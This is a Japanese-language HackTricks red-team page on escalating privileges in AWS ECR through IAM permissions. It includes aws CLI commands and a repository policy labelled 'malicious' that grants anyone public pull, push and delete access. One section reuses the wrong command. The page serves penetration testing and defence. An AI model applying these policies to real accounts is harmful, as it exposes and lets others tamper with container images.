AWS - ECR Privesc

htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

ecr:GetAuthorizationTokenecr:BatchGetImage を持つ攻撃者は、ECR にログインしてイメージをダウンロードできます。

イメージのダウンロード方法についての詳細はこちら:

pageAWS - ECR Post Exploitation

潜在的な影響: トラフィック内の機密情報を傍受することで間接的な特権昇格が可能です。

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

これらのすべての権限を持つ攻撃者は、ECR にログインしてイメージをアップロードできます。これは、これらのイメージが使用されている他の環境への特権昇格に役立ちます。

新しいイメージをアップロード/更新する方法を学ぶには、次を確認してください:

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

前のセクションと同様ですが、パブリックリポジトリ向けです。

ecr:SetRepositoryPolicy

この権限を持つ攻撃者は、リポジトリポリシーを変更して、自分自身(または誰でも)に 読み取り/書き込みアクセスを付与できます。 例えば、この例では、誰にでも読み取りアクセスが与えられています。

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.jsonの内容:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ecr:GetDownloadUrlForLayer",
                "ecr:BatchGetImage"
            ],
            "Resource": "*"
        }
    ]
}
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

前のセクションと同様ですが、パブリックリポジトリ向けです。 攻撃者は、ECR Publicリポジトリのリポジトリポリシーを変更して、不正なパブリックアクセスを許可したり、特権をエスカレートしたりすることができます。

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

潜在的影響: ECR Publicリポジトリへの不正なパブリックアクセスが可能になり、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。

ecr:PutRegistryPolicy

この権限を持つ攻撃者は、レジストリポリシーを変更して、自分自身、自分のアカウント(または誰でも)に読み書きアクセスを付与することができます。

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

最終更新